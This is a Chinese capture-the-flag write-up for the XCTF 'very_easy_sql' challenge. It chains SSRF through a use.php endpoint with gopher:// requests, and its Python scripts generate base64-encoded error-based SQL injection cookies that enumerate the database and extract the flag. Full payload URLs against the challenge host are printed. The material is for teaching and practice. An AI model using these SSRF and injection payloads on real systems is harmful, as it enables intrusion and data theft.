攻防世界web新手 - very_easy_sql(非常详细的wp)
文章目录
攻防世界web新手XCTF - very_easy_sql
题目知识点确实很多,我想我这个wp大概都能看懂了,希望大家不要吝啬收藏点赞,谢谢大家。
知识点
本题涉及知识点
- ssrf 端口扫描
- ssrf + gopher协议
- sql注入(报错注入or时间盲注)
- python脚本编写
解题思路
ssrf发现
打开网页,发现下面有一行提示,你不是内部用户
直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释。
打开use.php如下
其实有经验的人看到这里很容易就能联想到ssrf漏洞。但是这涉及到我的知识盲区,首先学习下ssrf。
ssrf详解
什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
我理解的是相当于内网穿透,你获取到其中一个内网主机,可以用这个内网主机作为服务器向其他的内网机器发起攻击。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
ssrf的利用
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
- 转码服务,适应硬件设备的大小;
- 图片的加载与下载
- 图片,文章的收藏;
产生SSRF漏洞的函数
file_get_contents
fsockopen()
ssrf漏洞利用
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
本题目就是运用第六种,gopher协议。
gopher协议
编写payload脚本,实现内部访问:
import urllib.parsehost = "127.0.0.1:80"content = "uname=admin&passwd=admin"content_length = len(content)test =\"""POST /index.php HTTP/1.1Host: {}User-Agent: curl/7.43.0Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: {}{}""".format(host,content_length,content)//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
这个脚本的意思就是构造一个数据包,用gopher协议发送
运行脚本获得payload如下:gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
抓包获取
可以发现setcookie的值为admin的base64编码值。
猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,构造payload为admin' #
构造脚本
import urllib.parsehost = "127.0.0.1:80"cookie="this_is_your_cookie=YWRtaW4nICM="test =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test) new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new) print("gopher://"+host+"/_"+result)
报错注入
通过报错信息,可以找到闭合点为admin') #
,但是很明显,此处有报错信息,直接使用报错注入。
payload为admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #
检查是否可以进行报错注入
运用python脚本转换为gopher协议
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
获得payload如下
gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A
如图可以看到,数据库信息被回显出来了,所以报错信息可以使用,接下来就是查库,查表、查列了。
查数据库:
查数据库
查数据库:admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
python脚本如下
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
url:http://61.147.171.105:57270/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj%250D%250A%250D%250A
数据库为security
查表
查表:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #
python脚本:
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
payload如下http://61.147.171.105:57270/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpKSAj%250D%250A%250D%250A
可以看到其中有个flag表
查列名
查flag表中的列:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #
python脚本:
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
payload:http://61.147.171.105:57270/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpICM%253D%250D%250A%250D%250A
可以看到flag表中只有一个flag列
查内容
admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
python脚本
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
payload:http://61.147.171.105:57270/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIGZsYWcgZnJvbSBmbGFnKSwweDdlKSkgIw%253D%253D%250D%250A%250D%250A
此时出现了另一个问题,报错的回显最大位数为32位,此时我们只获得了32位,需要用substr函数进行分割读取:
分割读取
admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
python脚本:
import urllib.parseimport base64host = "127.0.0.1:80"payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")cookie="this_is_your_cookie="+base64_payloadtest =\"""GET /index.php HTTP/1.1Host: {}Connection: closeContent-Type: application/x-www-form-urlencodedCookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)new = tmp.replace("%0A","%0D%0A")result = urllib.parse.quote(new)print("gopher://"+host+"/_"+result)
payload:http://61.147.171.105:57270/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCBzdWJzdHIoKFNFTEVDVCBmbGFnIGZyb20gZmxhZyksMzAsMzIpLDB4N2UpKSAj%250D%250A%250D%250A
两次的结果一合并,获得flag
参考文章:
SSRF漏洞原理攻击与防御
SSRF
来源地址:https://blog.csdn.net/yuanxu8877/article/details/128069145
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341